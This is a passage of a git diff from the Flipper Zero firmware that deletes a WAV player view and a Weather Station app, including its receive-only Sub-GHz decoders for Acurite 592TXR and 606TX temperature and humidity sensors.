size_t start) { - furi_assert(wav_view); - with_view_model( - wav_view->view, WavPlayerViewModel * model, { model->start = start; }, true); -} - -void wav_player_view_set_end(WavPlayerView* wav_view, size_t end) { - furi_assert(wav_view); - with_view_model( - wav_view->view, WavPlayerViewModel * model, { model->end = end; }, true); -} - -void wav_player_view_set_current(WavPlayerView* wav_view, size_t current) { - furi_assert(wav_view); - with_view_model( - wav_view->view, WavPlayerViewModel * model, { model->current = current; }, true); -} - -void wav_player_view_set_play(WavPlayerView* wav_view, bool play) { - furi_assert(wav_view); - with_view_model( - wav_view->view, WavPlayerViewModel * model, { model->play = play; }, true); -} - -void wav_player_view_set_chans(WavPlayerView* wav_view, uint16_t chn) { - furi_assert(wav_view); - with_view_model( - wav_view->view, WavPlayerViewModel * model, { model->num_channels = chn; }, true); -} - -void wav_player_view_set_bits(WavPlayerView* wav_view, uint16_t bit) { - furi_assert(wav_view); - with_view_model( - wav_view->view, WavPlayerViewModel * model, { model->bits_per_sample = bit; }, true); -} - -void wav_player_view_set_data(WavPlayerView* wav_view, uint16_t* data, size_t data_count) { - furi_assert(wav_view); - with_view_model( - wav_view->view, - WavPlayerViewModel * model, - { - size_t inc = (data_count / DATA_COUNT) - 1; - - for(size_t i = 0; i < DATA_COUNT; i++) { - model->data[i] = *data / 6; - if(model->data[i] > 42) model->data[i] = 42; - data += inc; - } - }, - true); -} - -void wav_player_view_set_ctrl_callback(WavPlayerView* wav_view, WavPlayerCtrlCallback callback) { - furi_assert(wav_view); - wav_view->callback = callback; -} - -void wav_player_view_set_context(WavPlayerView* wav_view, void* context) { - furi_assert(wav_view); - wav_view->context = context; -} \ No newline at end of file diff --git a/applications/external/wav_player/wav_player_view.h b/applications/external/wav_player/wav_player_view.h deleted file mode 100644 index b7b0ef908..000000000 --- a/applications/external/wav_player/wav_player_view.h +++ /dev/null @@ -1,78 +0,0 @@ -#pragma once -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct WavPlayerView WavPlayerView; - -typedef enum { - WavPlayerCtrlVolUp, - WavPlayerCtrlVolDn, - WavPlayerCtrlMoveL, - WavPlayerCtrlMoveR, - WavPlayerCtrlOk, - WavPlayerCtrlBack, -} WavPlayerCtrl; - -typedef void (*WavPlayerCtrlCallback)(WavPlayerCtrl ctrl, void* context); - -#define DATA_COUNT 116 - -struct WavPlayerView { - View* view; - WavPlayerCtrlCallback callback; - void* context; -}; - -typedef struct { - bool play; - float volume; - size_t start; - size_t end; - size_t current; - uint8_t data[DATA_COUNT]; - - uint16_t bits_per_sample; - uint16_t num_channels; -} WavPlayerViewModel; - -WavPlayerView* wav_player_view_alloc(); - -void wav_player_view_free(WavPlayerView* wav_view); - -View* wav_player_view_get_view(WavPlayerView* wav_view); - -void wav_player_view_set_volume(WavPlayerView* wav_view, float volume); - -void wav_player_view_set_start(WavPlayerView* wav_view, size_t start); - -void wav_player_view_set_end(WavPlayerView* wav_view, size_t end); - -void wav_player_view_set_current(WavPlayerView* wav_view, size_t current); - -void wav_player_view_set_play(WavPlayerView* wav_view, bool play); - -void wav_player_view_set_data(WavPlayerView* wav_view, uint16_t* data, size_t data_count); - -void wav_player_view_set_bits(WavPlayerView* wav_view, uint16_t bit); -void wav_player_view_set_chans(WavPlayerView* wav_view, uint16_t chn); - -void wav_player_view_set_ctrl_callback(WavPlayerView* wav_view, WavPlayerCtrlCallback callback); - -void wav_player_view_set_context(WavPlayerView* wav_view, void* context); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/applications/external/weather_station/application.fam b/applications/external/weather_station/application.fam deleted file mode 100644 index 8dcaa1259..000000000 --- a/applications/external/weather_station/application.fam +++ /dev/null @@ -1,13 +0,0 @@ -App( - appid="weather_station", - name="Weather Station", - apptype=FlipperAppType.EXTERNAL, - targets=["f7"], - entry_point="weather_station_app", - requires=["gui"], - stack_size=4 * 1024, - order=50, - fap_icon="weather_station_10px.png", - fap_category="Sub-GHz", - fap_icon_assets="images", -) diff --git a/applications/external/weather_station/helpers/radio_device_loader.c b/applications/external/weather_station/helpers/radio_device_loader.c deleted file mode 100644 index 0d99549eb..000000000 --- a/applications/external/weather_station/helpers/radio_device_loader.c +++ /dev/null @@ -1,69 +0,0 @@ -#include "radio_device_loader.h" - -#include -#include - -static void radio_device_loader_power_on() { - uint8_t attempts = 0; - while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - furi_hal_power_enable_otg(); - //CC1101 power-up time - furi_delay_ms(10); - } -} - -static void radio_device_loader_power_off() { - if(furi_hal_power_is_otg_enabled()) furi_hal_power_disable_otg(); -} - -bool radio_device_loader_is_connect_external(const char* name) { - bool is_connect = false; - bool is_otg_enabled = furi_hal_power_is_otg_enabled(); - - if(!is_otg_enabled) { - radio_device_loader_power_on(); - } - - const SubGhzDevice* device = subghz_devices_get_by_name(name); - if(device) { - is_connect = subghz_devices_is_connect(device); - } - - if(!is_otg_enabled) { - radio_device_loader_power_off(); - } - return is_connect; -} - -const SubGhzDevice* radio_device_loader_set( - const SubGhzDevice* current_radio_device, - SubGhzRadioDeviceType radio_device_type) { - const SubGhzDevice* radio_device; - - if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101 && - radio_device_loader_is_connect_external(SUBGHZ_DEVICE_CC1101_EXT_NAME)) { - radio_device_loader_power_on(); - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME); - subghz_devices_begin(radio_device); - } else if(current_radio_device == NULL) { - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME); - } else { - radio_device_loader_end(current_radio_device); - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME); - } - - return radio_device; -} - -bool radio_device_loader_is_external(const SubGhzDevice* radio_device) { - furi_assert(radio_device); - return (radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME)); -} - -void radio_device_loader_end(const SubGhzDevice* radio_device) { - furi_assert(radio_device); - radio_device_loader_power_off(); - if(radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME)) { - subghz_devices_end(radio_device); - } -} \ No newline at end of file diff --git a/applications/external/weather_station/helpers/radio_device_loader.h b/applications/external/weather_station/helpers/radio_device_loader.h deleted file mode 100644 index bae4bacf2..000000000 --- a/applications/external/weather_station/helpers/radio_device_loader.h +++ /dev/null @@ -1,17 +0,0 @@ -#pragma once - -#include - -/** SubGhzRadioDeviceType */ -typedef enum { - SubGhzRadioDeviceTypeInternal, - SubGhzRadioDeviceTypeExternalCC1101, -} SubGhzRadioDeviceType; - -const SubGhzDevice* radio_device_loader_set( - const SubGhzDevice* current_radio_device, - SubGhzRadioDeviceType radio_device_type); - -bool radio_device_loader_is_external(const SubGhzDevice* radio_device); - -void radio_device_loader_end(const SubGhzDevice* radio_device); \ No newline at end of file diff --git a/applications/external/weather_station/helpers/weather_station_event.h b/applications/external/weather_station/helpers/weather_station_event.h deleted file mode 100644 index b0486183d..000000000 --- a/applications/external/weather_station/helpers/weather_station_event.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -typedef enum { - //WSCustomEvent - WSCustomEventStartId = 100, - - WSCustomEventSceneSettingLock, - - WSCustomEventViewReceiverOK, - WSCustomEventViewReceiverConfig, - WSCustomEventViewReceiverBack, - WSCustomEventViewReceiverOffDisplay, - WSCustomEventViewReceiverUnlock, -} WSCustomEvent; diff --git a/applications/external/weather_station/helpers/weather_station_types.h b/applications/external/weather_station/helpers/weather_station_types.h deleted file mode 100644 index 111465978..000000000 --- a/applications/external/weather_station/helpers/weather_station_types.h +++ /dev/null @@ -1,49 +0,0 @@ -#pragma once - -#include -#include - -#define WS_VERSION_APP "0.8" -#define WS_DEVELOPED "SkorP" -#define WS_GITHUB "https://github.com/flipperdevices/flipperzero-firmware" - -#define WS_KEY_FILE_VERSION 1 -#define WS_KEY_FILE_TYPE "Flipper Weather Station Key File" - -/** WSRxKeyState state */ -typedef enum { - WSRxKeyStateIDLE, - WSRxKeyStateBack, - WSRxKeyStateStart, - WSRxKeyStateAddKey, -} WSRxKeyState; - -/** WSHopperState state */ -typedef enum { - WSHopperStateOFF, - WSHopperStateRunnig, - WSHopperStatePause, - WSHopperStateRSSITimeOut, -} WSHopperState; - -/** WSLock */ -typedef enum { - WSLockOff, - WSLockOn, -} WSLock; - -typedef enum { - WeatherStationViewVariableItemList, - WeatherStationViewSubmenu, - WeatherStationViewReceiver, - WeatherStationViewReceiverInfo, - WeatherStationViewWidget, -} WeatherStationView; - -/** WeatherStationTxRx state */ -typedef enum { - WSTxRxStateIDLE, - WSTxRxStateRx, - WSTxRxStateTx, - WSTxRxStateSleep, -} WSTxRxState; diff --git a/applications/external/weather_station/images/Fishing_123x52.png b/applications/external/weather_station/images/Fishing_123x52.png deleted file mode 100644 index 1e365de8f..000000000 Binary files a/applications/external/weather_station/images/Fishing_123x52.png and /dev/null differ diff --git a/applications/external/weather_station/images/Humid_10x15.png b/applications/external/weather_station/images/Humid_10x15.png deleted file mode 100644 index 34b074e5f..000000000 Binary files a/applications/external/weather_station/images/Humid_10x15.png and /dev/null differ diff --git a/applications/external/weather_station/images/Humid_8x13.png b/applications/external/weather_station/images/Humid_8x13.png deleted file mode 100644 index 6d8c71b00..000000000 Binary files a/applications/external/weather_station/images/Humid_8x13.png and /dev/null differ diff --git a/applications/external/weather_station/images/Lock_7x8.png b/applications/external/weather_station/images/Lock_7x8.png deleted file mode 100644 index f7c9ca2c7..000000000 Binary files a/applications/external/weather_station/images/Lock_7x8.png and /dev/null differ diff --git a/applications/external/weather_station/images/Pin_back_arrow_10x8.png b/applications/external/weather_station/images/Pin_back_arrow_10x8.png deleted file mode 100644 index 3bafabd14..000000000 Binary files a/applications/external/weather_station/images/Pin_back_arrow_10x8.png and /dev/null differ diff --git a/applications/external/weather_station/images/Quest_7x8.png b/applications/external/weather_station/images/Quest_7x8.png deleted file mode 100644 index 6825247fb..000000000 Binary files a/applications/external/weather_station/images/Quest_7x8.png and /dev/null differ diff --git a/applications/external/weather_station/images/Scanning_123x52.png b/applications/external/weather_station/images/Scanning_123x52.png deleted file mode 100644 index ec785948d..000000000 Binary files a/applications/external/weather_station/images/Scanning_123x52.png and /dev/null differ diff --git a/applications/external/weather_station/images/Therm_7x16.png b/applications/external/weather_station/images/Therm_7x16.png deleted file mode 100644 index 7c55500b7..000000000 Binary files a/applications/external/weather_station/images/Therm_7x16.png and /dev/null differ diff --git a/applications/external/weather_station/images/Timer_11x11.png b/applications/external/weather_station/images/Timer_11x11.png deleted file mode 100644 index 21ad47f4b..000000000 Binary files a/applications/external/weather_station/images/Timer_11x11.png and /dev/null differ diff --git a/applications/external/weather_station/images/Unlock_7x8.png b/applications/external/weather_station/images/Unlock_7x8.png deleted file mode 100644 index 9d82b4daf..000000000 Binary files a/applications/external/weather_station/images/Unlock_7x8.png and /dev/null differ diff --git a/applications/external/weather_station/images/WarningDolphin_45x42.png b/applications/external/weather_station/images/WarningDolphin_45x42.png deleted file mode 100644 index d766ffbb4..000000000 Binary files a/applications/external/weather_station/images/WarningDolphin_45x42.png and /dev/null differ diff --git a/applications/external/weather_station/images/station_icon.png b/applications/external/weather_station/images/station_icon.png deleted file mode 100644 index b839eeb7a..000000000 Binary files a/applications/external/weather_station/images/station_icon.png and /dev/null differ diff --git a/applications/external/weather_station/protocols/acurite_592txr.c b/applications/external/weather_station/protocols/acurite_592txr.c deleted file mode 100644 index 874f6dd33..000000000 --- a/applications/external/weather_station/protocols/acurite_592txr.c +++ /dev/null @@ -1,298 +0,0 @@ -#include "acurite_592txr.h" - -#define TAG "WSProtocolAcurite_592TXR" - -/* - * Help - * https://github.com/merbanan/rtl_433/blob/master/src/devices/acurite.c - * - * Acurite 592TXR Temperature Humidity sensor decoder - * Message Type 0x04, 7 bytes - * | Byte 0 | Byte 1 | Byte 2 | Byte 3 | Byte 4 | Byte 5 | Byte 6 | - * | --------- | --------- | --------- | --------- | --------- | --------- | --------- | - * | CCII IIII | IIII IIII | pB00 0100 | pHHH HHHH | p??T TTTT | pTTT TTTT | KKKK KKKK | - * - C: Channel 00: C, 10: B, 11: A, (01 is invalid) - * - I: Device ID (14 bits) - * - B: Battery, 1 is battery OK, 0 is battery low - * - M: Message type (6 bits), 0x04 - * - T: Temperature Celsius (11 - 14 bits?), + 1000 * 10 - * - H: Relative Humidity (%) (7 bits) - * - K: Checksum (8 bits) - * - p: Parity bit - * Notes: - * - Temperature - * - Encoded as Celsius + 1000 * 10 - * - only 11 bits needed for specified range -40 C to 70 C (-40 F - 158 F) - * - However 14 bits available for temperature, giving possible range of -100 C to 1538.4 C - * - @todo - check if high 3 bits ever used for anything else - * - */ - -static const SubGhzBlockConst ws_protocol_acurite_592txr_const = { - .te_short = 200, - .te_long = 400, - .te_delta = 90, - .min_count_bit_for_found = 56, -}; - -struct WSProtocolDecoderAcurite_592TXR { - SubGhzProtocolDecoderBase base; - - SubGhzBlockDecoder decoder; - WSBlockGeneric generic; - - uint16_t header_count; -}; - -struct WSProtocolEncoderAcurite_592TXR { - SubGhzProtocolEncoderBase base; - - SubGhzProtocolBlockEncoder encoder; - WSBlockGeneric generic; -}; - -typedef enum { - Acurite_592TXRDecoderStepReset = 0, - Acurite_592TXRDecoderStepCheckPreambule, - Acurite_592TXRDecoderStepSaveDuration, - Acurite_592TXRDecoderStepCheckDuration, -} Acurite_592TXRDecoderStep; - -const SubGhzProtocolDecoder ws_protocol_acurite_592txr_decoder = { - .alloc = ws_protocol_decoder_acurite_592txr_alloc, - .free = ws_protocol_decoder_acurite_592txr_free, - - .feed = ws_protocol_decoder_acurite_592txr_feed, - .reset = ws_protocol_decoder_acurite_592txr_reset, - - .get_hash_data = ws_protocol_decoder_acurite_592txr_get_hash_data, - .serialize = ws_protocol_decoder_acurite_592txr_serialize, - .deserialize = ws_protocol_decoder_acurite_592txr_deserialize, - .get_string = ws_protocol_decoder_acurite_592txr_get_string, -}; - -const SubGhzProtocolEncoder ws_protocol_acurite_592txr_encoder = { - .alloc = NULL, - .free = NULL, - - .deserialize = NULL, - .stop = NULL, - .yield = NULL, -}; - -const SubGhzProtocol ws_protocol_acurite_592txr = { - .name = WS_PROTOCOL_ACURITE_592TXR_NAME, - .type = SubGhzProtocolWeatherStation, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, - - .decoder = &ws_protocol_acurite_592txr_decoder, - .encoder = &ws_protocol_acurite_592txr_encoder, -}; - -void* ws_protocol_decoder_acurite_592txr_alloc(SubGhzEnvironment* environment) { - UNUSED(environment); - WSProtocolDecoderAcurite_592TXR* instance = malloc(sizeof(WSProtocolDecoderAcurite_592TXR)); - instance->base.protocol = &ws_protocol_acurite_592txr; - instance->generic.protocol_name = instance->base.protocol->name; - return instance; -} - -void ws_protocol_decoder_acurite_592txr_free(void* context) { - furi_assert(context); - WSProtocolDecoderAcurite_592TXR* instance = context; - free(instance); -} - -void ws_protocol_decoder_acurite_592txr_reset(void* context) { - furi_assert(context); - WSProtocolDecoderAcurite_592TXR* instance = context; - instance->decoder.parser_step = Acurite_592TXRDecoderStepReset; -} - -static bool ws_protocol_acurite_592txr_check_crc(WSProtocolDecoderAcurite_592TXR* instance) { - uint8_t msg[] = { - instance->decoder.decode_data >> 48, - instance->decoder.decode_data >> 40, - instance->decoder.decode_data >> 32, - instance->decoder.decode_data >> 24, - instance->decoder.decode_data >> 16, - instance->decoder.decode_data >> 8}; - - if((subghz_protocol_blocks_add_bytes(msg, 6) == - (uint8_t)(instance->decoder.decode_data & 0xFF)) && - (!subghz_protocol_blocks_parity_bytes(&msg[2], 4))) { - return true; - } else { - return false; - } -} - -/** - * Analysis of received data - * @param instance Pointer to a WSBlockGeneric* instance - */ -static void ws_protocol_acurite_592txr_remote_controller(WSBlockGeneric* instance) { - uint8_t channel[] = {3, 0, 2, 1}; - uint8_t channel_raw = ((instance->data >> 54) & 0x03); - instance->channel = channel[channel_raw]; - instance->id = (instance->data >> 40) & 0x3FFF; - instance->battery_low = !((instance->data >> 38) & 1); - instance->humidity = (instance->data >> 24) & 0x7F; - - uint16_t temp_raw = ((instance->data >> 9) & 0xF80) | ((instance->data >> 8) & 0x7F); - instance->temp = ((float)(temp_raw)-1000) / 10.0f; - - instance->btn = WS_NO_BTN; -} - -void ws_protocol_decoder_acurite_592txr_feed(void* context, bool level, uint32_t duration) { - furi_assert(context); - WSProtocolDecoderAcurite_592TXR* instance = context; - - switch(instance->decoder.parser_step) { - case Acurite_592TXRDecoderStepReset: - if((level) && (DURATION_DIFF(duration, ws_protocol_acurite_592txr_const.te_short * 3) < - ws_protocol_acurite_592txr_const.te_delta * 2)) { - instance->decoder.parser_step = Acurite_592TXRDecoderStepCheckPreambule; - instance->decoder.te_last = duration; - instance->header_count = 0; - } - break; - - case Acurite_592TXRDecoderStepCheckPreambule: - if(level) { - instance->decoder.te_last = duration; - } else { - if((DURATION_DIFF( - instance->decoder.te_last, ws_protocol_acurite_592txr_const.te_short * 3) < - ws_protocol_acurite_592txr_const.te_delta * 2) && - (DURATION_DIFF(duration, ws_protocol_acurite_592txr_const.te_short * 3) < - ws_protocol_acurite_592txr_const.te_delta * 2)) { - //Found preambule - instance->header_count++; - } else if((instance->header_count > 2) && (instance->header_count < 5)) { - if((DURATION_DIFF( - instance->decoder.te_last, ws_protocol_acurite_592txr_const.te_short) < - ws_protocol_acurite_592txr_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_acurite_592txr_const.te_long) < - ws_protocol_acurite_592txr_const.te_delta)) { - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - subghz_protocol_blocks_add_bit(&instance->decoder, 0); - instance->decoder.parser_step = Acurite_592TXRDecoderStepSaveDuration; - } else if( - (DURATION_DIFF( - instance->decoder.te_last, ws_protocol_acurite_592txr_const.te_long) < - ws_protocol_acurite_592txr_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_acurite_592txr_const.te_short) < - ws_protocol_acurite_592txr_const.te_delta)) { - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - subghz_protocol_blocks_add_bit(&instance->decoder, 1); - instance->decoder.parser_step = Acurite_592TXRDecoderStepSaveDuration; - } else { - instance->decoder.parser_step = Acurite_592TXRDecoderStepReset; - } - } else { - instance->decoder.parser_step = Acurite_592TXRDecoderStepReset; - } - } - break; - - case Acurite_592TXRDecoderStepSaveDuration: - if(level) { - instance->decoder.te_last = duration; - instance->decoder.parser_step = Acurite_592TXRDecoderStepCheckDuration; - } else { - instance->decoder.parser_step = Acurite_592TXRDecoderStepReset; - } - break; - - case Acurite_592TXRDecoderStepCheckDuration: - if(!level) { - if(duration >= ((uint32_t)ws_protocol_acurite_592txr_const.te_short * 5)) { - if((instance->decoder.decode_count_bit == - ws_protocol_acurite_592txr_const.min_count_bit_for_found) && - ws_protocol_acurite_592txr_check_crc(instance)) { - instance->generic.data = instance->decoder.decode_data; - instance->generic.data_count_bit = instance->decoder.decode_count_bit; - ws_protocol_acurite_592txr_remote_controller(&instance->generic); - if(instance->base.callback) - instance->base.callback(&instance->base, instance->base.context); - } - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - instance->decoder.parser_step = Acurite_592TXRDecoderStepReset; - break; - } else if( - (DURATION_DIFF( - instance->decoder.te_last, ws_protocol_acurite_592txr_const.te_short) < - ws_protocol_acurite_592txr_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_acurite_592txr_const.te_long) < - ws_protocol_acurite_592txr_const.te_delta)) { - subghz_protocol_blocks_add_bit(&instance->decoder, 0); - instance->decoder.parser_step = Acurite_592TXRDecoderStepSaveDuration; - } else if( - (DURATION_DIFF( - instance->decoder.te_last, ws_protocol_acurite_592txr_const.te_long) < - ws_protocol_acurite_592txr_const.te_delta) && - (DURATION_DIFF(duration, ws_protocol_acurite_592txr_const.te_short) < - ws_protocol_acurite_592txr_const.te_delta)) { - subghz_protocol_blocks_add_bit(&instance->decoder, 1); - instance->decoder.parser_step = Acurite_592TXRDecoderStepSaveDuration; - } else { - instance->decoder.parser_step = Acurite_592TXRDecoderStepReset; - } - } else { - instance->decoder.parser_step = Acurite_592TXRDecoderStepReset; - } - break; - } -} - -uint8_t ws_protocol_decoder_acurite_592txr_get_hash_data(void* context) { - furi_assert(context); - WSProtocolDecoderAcurite_592TXR* instance = context; - return subghz_protocol_blocks_get_hash_data( - &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1); -} - -SubGhzProtocolStatus ws_protocol_decoder_acurite_592txr_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(context); - WSProtocolDecoderAcurite_592TXR* instance = context; - return ws_block_generic_serialize(&instance->generic, flipper_format, preset); -} - -SubGhzProtocolStatus - ws_protocol_decoder_acurite_592txr_deserialize(void* context, FlipperFormat* flipper_format) { - furi_assert(context); - WSProtocolDecoderAcurite_592TXR* instance = context; - return ws_block_generic_deserialize_check_count_bit( - &instance->generic, - flipper_format, - ws_protocol_acurite_592txr_const.min_count_bit_for_found); -} - -void ws_protocol_decoder_acurite_592txr_get_string(void* context, FuriString* output) { - furi_assert(context); - WSProtocolDecoderAcurite_592TXR* instance = context; - furi_string_printf( - output, - "%s %dbit\r\n" - "Key:0x%lX%08lX\r\n" - "Sn:0x%lX Ch:%d Bat:%d\r\n" - "Temp:%3.1f C Hum:%d%%", - instance->generic.protocol_name, - instance->generic.data_count_bit, - (uint32_t)(instance->generic.data >> 32), - (uint32_t)(instance->generic.data), - instance->generic.id, - instance->generic.channel, - instance->generic.battery_low, - (double)instance->generic.temp, - instance->generic.humidity); -} diff --git a/applications/external/weather_station/protocols/acurite_592txr.h b/applications/external/weather_station/protocols/acurite_592txr.h deleted file mode 100644 index 1071d1cf7..000000000 --- a/applications/external/weather_station/protocols/acurite_592txr.h +++ /dev/null @@ -1,80 +0,0 @@ -#pragma once - -#include - -#include -#include -#include -#include "ws_generic.h" -#include - -#define WS_PROTOCOL_ACURITE_592TXR_NAME "Acurite 592TXR" - -typedef struct WSProtocolDecoderAcurite_592TXR WSProtocolDecoderAcurite_592TXR; -typedef struct WSProtocolEncoderAcurite_592TXR WSProtocolEncoderAcurite_592TXR; - -extern const SubGhzProtocolDecoder ws_protocol_acurite_592txr_decoder; -extern const SubGhzProtocolEncoder ws_protocol_acurite_592txr_encoder; -extern const SubGhzProtocol ws_protocol_acurite_592txr; - -/** - * Allocate WSProtocolDecoderAcurite_592TXR. - * @param environment Pointer to a SubGhzEnvironment instance - * @return WSProtocolDecoderAcurite_592TXR* pointer to a WSProtocolDecoderAcurite_592TXR instance - */ -void* ws_protocol_decoder_acurite_592txr_alloc(SubGhzEnvironment* environment); - -/** - * Free WSProtocolDecoderAcurite_592TXR. - * @param context Pointer to a WSProtocolDecoderAcurite_592TXR instance - */ -void ws_protocol_decoder_acurite_592txr_free(void* context); - -/** - * Reset decoder WSProtocolDecoderAcurite_592TXR. - * @param context Pointer to a WSProtocolDecoderAcurite_592TXR instance - */ -void ws_protocol_decoder_acurite_592txr_reset(void* context); - -/** - * Parse a raw sequence of levels and durations received from the air. - * @param context Pointer to a WSProtocolDecoderAcurite_592TXR instance - * @param level Signal level true-high false-low - * @param duration Duration of this level in, us - */ -void ws_protocol_decoder_acurite_592txr_feed(void* context, bool level, uint32_t duration); - -/** - * Getting the hash sum of the last randomly received parcel. - * @param context Pointer to a WSProtocolDecoderAcurite_592TXR instance - * @return hash Hash sum - */ -uint8_t ws_protocol_decoder_acurite_592txr_get_hash_data(void* context); - -/** - * Serialize data WSProtocolDecoderAcurite_592TXR. - * @param context Pointer to a WSProtocolDecoderAcurite_592TXR instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzRadioPreset - * @return status - */ -SubGhzProtocolStatus ws_protocol_decoder_acurite_592txr_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset); - -/** - * Deserialize data WSProtocolDecoderAcurite_592TXR. - * @param context Pointer to a WSProtocolDecoderAcurite_592TXR instance - * @param flipper_format Pointer to a FlipperFormat instance - * @return status - */ -SubGhzProtocolStatus - ws_protocol_decoder_acurite_592txr_deserialize(void* context, FlipperFormat* flipper_format); - -/** - * Getting a textual representation of the received data. - * @param context Pointer to a WSProtocolDecoderAcurite_592TXR instance - * @param output Resulting text - */ -void ws_protocol_decoder_acurite_592txr_get_string(void* context, FuriString* output); diff --git a/applications/external/weather_station/protocols/acurite_606tx.c b/applications/external/weather_station/protocols/acurite_606tx.c deleted file mode 100644 index e0d405c66..000000000 --- a/applications/external/weather_station/protocols/acurite_606tx.c +++ /dev/null @@ -1,239 +0,0 @@ -#include "acurite_606tx.h" - -#define TAG "WSProtocolAcurite_606TX" - -/* - * Help - * https://github.com/merbanan/rtl_433/blob/5bef4e43133ac4c0e2d18d36f87c52b4f9458453/src/devices/acurite.c#L1644 - * - * 0000 1111 | 0011 0000 | 0101 1100 | 1110 0111 - * iiii iiii | buuu tttt | tttt tttt | cccc cccc - * - i: identification; changes on battery switch - * - c: lfsr_digest8; - * - u: unknown; - * - b: battery low; flag to indicate low battery voltage - * - t: Temperature; in °C - * - */ - -static const SubGhzBlockConst ws_protocol_acurite_606tx_const = { - .te_short = 500, - .te_long = 2000, - .te_delta = 150, - .min_count_bit_for_found = 32, -}; - -struct WSProtocolDecoderAcurite_606TX { - SubGhzProtocolDecoderBase base; - - SubGhzBlockDecoder decoder; - WSBlockGeneric generic; -}; - -struct WSProtocolEncoderAcurite_606TX { - SubGhzProtocolEncoderBase base; - - SubGhzProtocolBlockEncoder encoder; - WSBlockGeneric generic; -}; - -typedef enum { - Acurite_606TXDecoderStepReset = 0, - Acurite_606TXDecoderStepSaveDuration, - Acurite_606TXDecoderStepCheckDuration, -} Acurite_606TXDecoderStep; - -const SubGhzProtocolDecoder ws_protocol_acurite_606tx_decoder = { - .alloc = ws_protocol_decoder_acurite_606tx_alloc, - .free = ws_protocol_decoder_acurite_606tx_free, - - .feed = ws_protocol_decoder_acurite_606tx_feed, - .reset = ws_protocol_decoder_acurite_606tx_reset, - - .get_hash_data = ws_protocol_decoder_acurite_606tx_get_hash_data, - .serialize = ws_protocol_decoder_acurite_606tx_serialize, - .deserialize = ws_protocol_decoder_acurite_606tx_deserialize, - .get_string = ws_protocol_decoder_acurite_606tx_get_string, -}; - -const SubGhzProtocolEncoder ws_protocol_acurite_606tx_encoder = { - .alloc = NULL, - .free = NULL, - - .deserialize = NULL, - .stop = NULL, - .yield = NULL, -}; - -const SubGhzProtocol ws_protocol_acurite_606tx = { - .name = WS_PROTOCOL_ACURITE_606TX_NAME, - .type = SubGhzProtocolWeatherStation, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, - - .decoder = &ws_protocol_acurite_606tx_decoder, - .encoder = &ws_protocol_acurite_606tx_encoder, -}; - -void* ws_protocol_decoder_acurite_606tx_alloc(SubGhzEnvironment* environment) { - UNUSED(environment); - WSProtocolDecoderAcurite_606TX* instance = malloc(sizeof(WSProtocolDecoderAcurite_606TX)); - instance->base.protocol = &ws_protocol_acurite_606tx; - instance->generic.protocol_name = instance->base.protocol->name; - return instance; -} - -void ws_protocol_decoder_acurite_606tx_free(void* context) { - furi_assert(context); - WSProtocolDecoderAcurite_606TX* instance = context; - free(instance); -} - -void ws_protocol_decoder_acurite_606tx_reset(void* context) { - furi_assert(context); - WSProtocolDecoderAcurite_606TX* instance = context; - instance->decoder.parser_step = Acurite_606TXDecoderStepReset; -} - -static bool ws_protocol_acurite_606tx_check(WSProtocolDecoderAcurite_606TX* instance) { - if(!instance->decoder.decode_data) return false; - uint8_t msg[] = { - instance->decoder.decode_data >> 24, - instance->decoder.decode_data >> 16, - instance->decoder.decode_data >> 8}; - - uint8_t crc = subghz_protocol_blocks_lfsr_digest8(msg, 3, 0x98, 0xF1); - return (crc == (instance->decoder.decode_data & 0xFF)); -} - -/** - * Analysis of received data - * @param instance Pointer to a WSBlockGeneric* instance - */ -static void ws_protocol_acurite_606tx_remote_controller(WSBlockGeneric* instance) { - instance->id = (instance->data >> 24) & 0xFF; - instance->battery_low = (instance->data >> 23) & 1; - - instance->channel = WS_NO_CHANNEL; - - if(!((instance->data >> 19) & 1)) { - instance->temp = (float)((instance->data >> 8) & 0x07FF) / 10.0f; - } else { - instance->temp = (float)((~(instance->data >> 8) & 0x07FF) + 1) / -10.0f; - } - instance->btn = WS_NO_BTN; - instance->humidity = WS_NO_HUMIDITY; -} - -void ws_protocol_decoder_acurite_606tx_feed(void* context, bool level, uint32_t duration) { - furi_assert(context); - WSProtocolDecoderAcurite_606TX* instance = context; - - switch(instance->decoder.parser_step) { - case Acurite_606TXDecoderStepReset: - if((!level) && (DURATION_DIFF(duration, ws_protocol_acurite_606tx_const.te_short * 17) < - ws_protocol_acurite_606tx_const.te_delta * 8)) { - //Found syncPrefix - instance->decoder.parser_step = Acurite_606TXDecoderStepSaveDuration; - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - } - break; - - case Acurite_606TXDecoderStepSaveDuration: - if(level) { - instance->decoder.te_last = duration; - instance->decoder.parser_step = Acurite_606TXDecoderStepCheckDuration; - } else { - instance->decoder.parser_step = Acurite_606TXDecoderStepReset; - } - break; - - case Acurite_606TXDecoderStepCheckDuration: - if(!level) { - if(DURATION_DIFF(instance->decoder.te_last, ws_protocol_acurite_606tx_const.te_short) < - 